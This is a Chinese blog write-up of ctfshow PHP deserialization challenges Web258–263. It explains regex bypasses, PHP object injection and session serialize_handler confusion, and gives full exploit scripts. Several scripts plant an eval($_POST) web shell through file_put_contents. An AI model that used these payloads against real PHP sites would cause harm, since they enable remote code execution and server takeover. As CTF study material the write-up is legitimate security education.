PHP serialize&unserialize Study writeup(3)

前言

本次主要是刷题

Web 258

图片[1],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网
图片[2],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网
图片[3],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

直接生成,会pass掉以0开头+数字的不分大小写 仔细发现一共有两处

图片[4],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

绕过正则

$b=str_replace(':11',':+11',$a);
$d=str_replace(':8',':+8',$c);

exp

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code='eval($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
$a=new ctfShowUser();
$b=serialize($a);
$c=str_replace(':11',':+11',$b);
$d=str_replace(':8',':+8',$c);
var_dump($d);
var_dump(urlencode(($d)));
?>
图片[5],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网
图片[6],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

Web259

图片[7],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网
图片[8],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

这个题有点难,考的是csrf,这题属实做不出来了

根据flag.php的内容

图片[9],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

这段代码的逻辑是:首先检查客户端IP地址是否为’127.0.0.1’,如果是,则检查POST请求中的token值是否为’ctfshow’,如果也符合条件,则将$flag的内容写入到名为’flag.txt’的文件中。否则,输出错误信息并终止脚本执行。

做不出来了….

Web260

图片[10],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

可能是259太难了,260就给简单了

图片[11],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

梭了

图片[12],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

Web261

图片[13],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网
图片[14],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

期中code是用username和password进行拼接的 所以限制username的值必须为877开头

图片[15],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

exp:

<?php


class ctfshowvip{
    public $username='877godyu666.php';
    public $password='<?php eval($_POST[1]);?>';


    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
$c=new ctfshowvip();
echo serialize($c);
echo "\n";
echo urlencode(serialize($c));
?>
图片[16],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

传参

图片[17],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

经过测试flag并不在此目录在根目录

图片[18],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

直接拿

图片[19],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

Web262

图片[20],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

根据上面漏出的message.php我们去访问一下

图片[21],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

发现message和index毫无关联

构造exp

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$a=new message('1','2','3');
$b=serialize($a);
var_dump(base64_encode($b));
?>
图片[22],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

Web263(最难的一个)

图片[23],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

查看源代码

图片[24],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

先看一下check.php调用了json

图片[25],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

对于json学的不是很好,扔进gpt分析一下代码

图片[26],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

发现有用但用处不大,我们审查一下

图片[27],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

确实是u和pass

因为该登录框有实战渗透的感觉,我们去扫一下目录

扫描出来了check.php index.php 和www.zip

可以判断泄露了源代码文件

图片[28],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

别的不说,先打开flag.php看一下

图片[29],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

被掩盖了,我们在去检查一下check.php

图片[30],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

查看inc.php

图片[31],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

一般config.php都是上传之后被改过的 所以我们没必要去连3306

图片[32],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

看见了登录限制 但不知道是几次 我们去index.php去查看

图片[33],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

引用一下别人的思路(他的wp期中一点是错的 index.php里 session处理器是php_serialize

思路

知识点:

  1. php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化.
  2. php . ini 中默认 session.serialize_handler 为 php_serialize,而 check.php 中将其设置为 php ,这个差异就导致了 sesssion 反序列化问题。
  3. php有三种处理器对$_SESSION数据进行序列化和反序列化。

网上的见解选择吸收,一些方面说的不好甚至是错误,我们应该真正的去理解反序列化漏洞而不是简单的看wp

我们应该用辩证的眼光去判断每一个人的题解,当然我的题解欢迎来纠错我写了好久来着

我们重头梳理一下

图片[34],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

index.php中的第一个session应该是limit他写成了limti导致limti未被定义是0永远小于5

根据二元表达式$_SESSION[‘limti’]>5?如果大于执行die(“登陆失败次数超过限制”):如果小于执行$_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’]); 所以会永远的执行$_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’]);也就是将index.php中的session设置成为cookie_limit的base64解码

这里出题人提醒这里是包含了/inc/inc.php (服务器上有,但下载源码上没有,如果没有他们之间的session就不能互通,这题就没法做下去了,必须是session互通才能打反序列化漏洞) 简而言之就是check和inc里的session能在index.php里引用 但是二者对session的处理方法是不一样的

图片[35],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

既然知道了二者的session方法处理不一样(index里默认是php_serialize)那如何利用呢 在index里是没有利用条件的

然而在inc.php里我们发现使用了file_put_contents函数意味着我们可以控制username的后缀为.php将password里面的内容写进username里

那么我们知道了利用条件就要构造exp

图片[36],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

先看一下区别

图片[37],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

此时注意注意 对于session的处理方法 php 和php_serialize是不同的 在test中写下的cookie是无法被index.php

设置的 为了更好理解

我们去测试一下二者区别

session处理器->php

<?php
session_start();
ini_set('session.serialize_handler', 'php');
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

}
$a=new User('1.php','<?php eval($_POST[1]);?>');
$_SESSION[user]=$a;

?>

我们去生成一下并找到session文件

图片[38],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网
图片[39],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

发现以php处理session的结果为

user|O:4:”User”:3:{s:8:”username”;s:5:”1.php”;s:8:”password”;s:24:””;s:6:”status”;N;}

我们更换session的处理方式为php_serialize

图片[40],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

再次查看结果

图片[41],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

a:1:{s:4:”user”;O:4:”User”:3:{s:8:”username”;s:5:”1.php”;s:8:”password”;s:24:””;s:6:”status”;N;}}

我们清楚的看到区别二者的不同区别

可以看到php和php_serialize的区别 php的键名显示在括号外

我们目的是在inc里(使用的是php处理器)写入 在index里(php_serialize里设置cookie)在反过来在

check.php里调用 而调用的时候因为我们加了|键名和键值就变了

<?php



session_start();
ini_set('session.serialize_handler', 'php');
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

}
$a=new User('1.php','<?php eval($_POST[1]);?>');
echo serialize($a);
echo "\n";
$b="|".serialize($a);
echo $b;
$_SESSION[user1]=$b;

?>

我们此时加|

图片[42],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

可以看到

user|s:105:”|O:4:”User”:3:{s:8:”username”;s:5:”1.php”;s:8:”password”;s:24:””;s:6:”status”;N;}”;

图片[43],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

我们的键值此时就发生了改变 左面为键名|右面为键值

根据base64的判断 我们还需要对其转换一下

图片[44],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网

对cookie我们最好进行url编码

最后的exp

<?php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }

}
$user = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo urlencode(base64_encode('|'.serialize($user)));
?>

先访问Index.php 写入cookie在访问/check.php 写入log-1.php

图片[45],PHP serialize&unserialize Study writeup(3),网络安全爱好者中心-神域博客网
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容